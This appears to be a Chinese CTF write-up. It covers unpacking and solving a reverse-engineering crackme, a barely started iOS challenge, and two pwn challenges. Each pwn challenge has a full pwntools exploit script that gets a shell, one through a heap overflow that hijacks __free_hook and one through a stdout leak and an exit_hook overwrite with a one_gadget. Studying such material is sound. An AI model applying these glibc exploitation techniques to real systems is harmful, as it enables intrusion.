OK的,阿达西!!!
又是啥也没做出来的一天
也是跟着来复现了一手
Reverse re 打开后是一个exe文件
然后日常查一下壳
可以看见是一个vm1的壳
是要手动脱一下的
怎么说呢,x32dbg打开看看
断点打在下面,找一下OEP(程序的原始入口点)
当我们一直步入的时候,我们就会发现他一直卡在一个地方,那么我们就找到了oep(程序的原始入口点)
这时候我们就可以进行插件Scylla来dump,fix一下就行了(具体参考步骤看最下面的参考文献)
然后我们就正常拖到ida里面看一下,如果无法正常反编译,p一下就行了。
怎么说呢?自己脱壳的,没有工具脱的好吧
找一下加密逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 BOOL __fastcall sub_611150 (int a1, int a2) { char *v2; int v4; char v5; int v6; int v7; char v8; char v9; int v10; char v11; char v12; v2 = (a2 + 24 ); v4 = 0 ; while ( 1 ) { v5 = *v2++; if ( v5 != *(v4 + a1) ) break ; if ( ++v4 >= 4 ) { v6 = 4 ; v7 = 0 ; while ( 1 ) { v8 = byte_615018[v7]; if ( v8 == 'y' ) { byte_615018[v7] = '7' ; v8 = '7' ; } if ( v8 == 'z' ) { byte_615018[v7] = '8' ; v8 = '8' ; } v9 = *(v6 + a1); ++v6; if ( v9 != v8 ) break ; if ( ++v7 >= 9 ) { v10 = 0 ; while ( 1 ) { v11 = *(v10 + a2); if ( v11 == 'y' ) { *(v10 + a2) = '7' ; v11 = '7' ; } if ( v11 == 'z' ) { *(v10 + a2) = '8' ; v11 = '8' ; } v12 = *(v6 + a1); ++v6; if ( v12 != v11 ) break ; if ( ++v10 >= 24 ) return *(v6 + a1) == '}' ; } return 0 ; } } return 0 ; } } return 0 ; }
就是一个替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #include <stdio.h> unsigned char byte_615018[10 ] = { 0x7B , 0x64 , 0x65 , 0x32 , 0x31 , 0x63 , 0x7A , 0x34 , 0x79 , 0x00 }; int __fastcall_sub_611150(char * a1, char * a2){ char * v2; int v4 = 0 ; char v5; int v6; int v7; char v8; char v9; int v10; char v11; char v12; v2 = a2 + 24 ; v4=0 ; while (1 ) { v5 = *v2++; printf ("%c" ,v5); if (++v4 >= 4 ) { v6 = 4 ; v7 = 0 ; while (1 ) { v8 = byte_615018[v7]; if (v8 == 'y' ) { byte_615018[v7] = '7' ; v8 = '7' ; } if (v8 == 'z' ) { byte_615018[v7] = '8' ; v8 = '8' ; } ++v6; printf ("%c" ,v8); if (++v7 >= 9 ) { v10 = 0 ; while (1 ) { v11 = *(a2 + v10); if (v11 == 'y' ) { *(a2 + v10) = '7' ; v11 = '7' ; } if (v11 == 'z' ) { *(a2 + v10) = '8' ; v11 = '8' ; } v12 = *(a1 + v6); ++v6; printf ("%c" ,v11); if (++v10 >= 24 ){ printf ("}" ); return 0 ; } } } } } } } int main () { char pt[] = "cedfz16az31zd2dycy65ac41flag" ; __fastcall_sub_611150(pt, pt); return 0 ; }
怎么说呢!!
🙌🙌🙌🙌🙌🙌
又看了篇别的wp。怎么说呢,是工具脱壳的(说是得脱三次才行。,反编译看完感觉都查不多的样子)
India Pale Ale 首先查看一下架构,easyIOS,怎么说呢
ida9打开看看
大概加密逻辑就在这三个函数当中
我也是直接看的wp了
先放着————————2024.12.3
Pwn mis 经典的菜单题,保护机制全开
1 2 3 4 5 6 7 8 9 10 11 12 13 bbq@ubuntu:~$ checksec pwn [*] '/home/bbq/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled cbbq@ubuntu:~$ chmod +x pwn bbq@ubuntu:~$ ./pwn 1.add 2.free 3.edit 4.show
add,free,show,edit四个功能函数
其中free和edit没有什么问题,保护全开,got表不可打
漏洞在于add中有堆溢出,strdun根据输入字符串大小分配堆块,同时也具有堆溢出
做好堆布局后,house of fotcake泄露libc地址,后续堆溢出攻击free_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *from struct import packimport ctypesfrom ae64 import AE64def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('./libc.so.6' ) elf=ELF('./pwn' ) p==remote('47.106.14.25' ,33189 ) def add (i,size,content ): rl('4.show\n' ) sl(str (1 )) rl(': ' ) sl(str (i)) rl(': ' ) sl(str (size)) rl(': ' ) s(content) def free (i ): rl('4.show\n' ) sl(str (2 )) rl(': ' ) sl(str (i)) def edit (i,content ): rl('4.show\n' ) sl(str (3 )) rl(': ' ) sl(str (i)) rl(': ' ) s(content) def show (i ): rl('4.show\n' ) sl('4' ) rl(': ' ) sl(str (i)) add(10 ,0xa0 ,b'a' *(0x10 )) add(11 ,0xa0 ,b'a' *(0x10 )) add(12 ,0xa0 ,b'a' *(0x10 )) for i in range (10 ): add(i,0xff ,b'a' *0xf0 ) for i in range (7 ): free(i) free(7 ) add(7 ,0xa0 ,b'a' *0x9 ) show(7 ) libc_base=get_addr64()-4063329 li(hex (libc_base)) free_hook=libc_base+libc.sym['__free_hook' ] system=libc_base+libc.sym['system' ] free(12 ) free(11 ) edit(10 ,b'\x00' *(0x18 )+p64(0x21 )+p64(free_hook)) add(11 ,0xa0 ,b'/bin/sh\x00' ) add(12 ,0xa0 ,p64(system)) add(13 ,0xa0 ,b'/bin/sh\x00' ) free(11 ) inter()
in
两个漏洞点:size[size_4]和size[_4+0x1f]任意地址写1字节,以及任意地址写三字节
我们可以申请一个在libc上的大堆块,控制好size_4,使size_4为\x18size_4+0x1f为\x00,也就是攻击_IO_2_1_stdout_的_flags、_IO_write_base,泄露出来libc,后续任意地址写攻击exit_hook( _rtld_global+3848),爆破一下ld地址就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *from struct import packimport ctypesfrom ae64 import AE64def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('./libc-2.23.so' ) elf=ELF('./pwn' ) p==remote('47.106.14.25' ,32186 ) def ack (i ): rl("Size:\n" ) sl(str (i)) ack(0x5e6610 +1 ) ack(0x400000 ) rl("Data:" ) s(b'\x18' ) s(b'\x00' ) libc_base=get_addr64()-3946208 li(hex (libc_base)) exit_hook=libc_base+0x5f0040 +3848 one_gadget=libc_base+0xf1147 li(hex (exit_hook)) rl("Now getshell!" ) s(p64(exit_hook)) sleep(0.1 ) s(p64(one_gadget)[:3 ]) inter()
参考文献:
x64dbg—Scylla - rvy - 博客园 (cnblogs.com)
特别感谢:
bananaship 师傅:tommy的妙妙屋 (bananashipsbbq.github.io)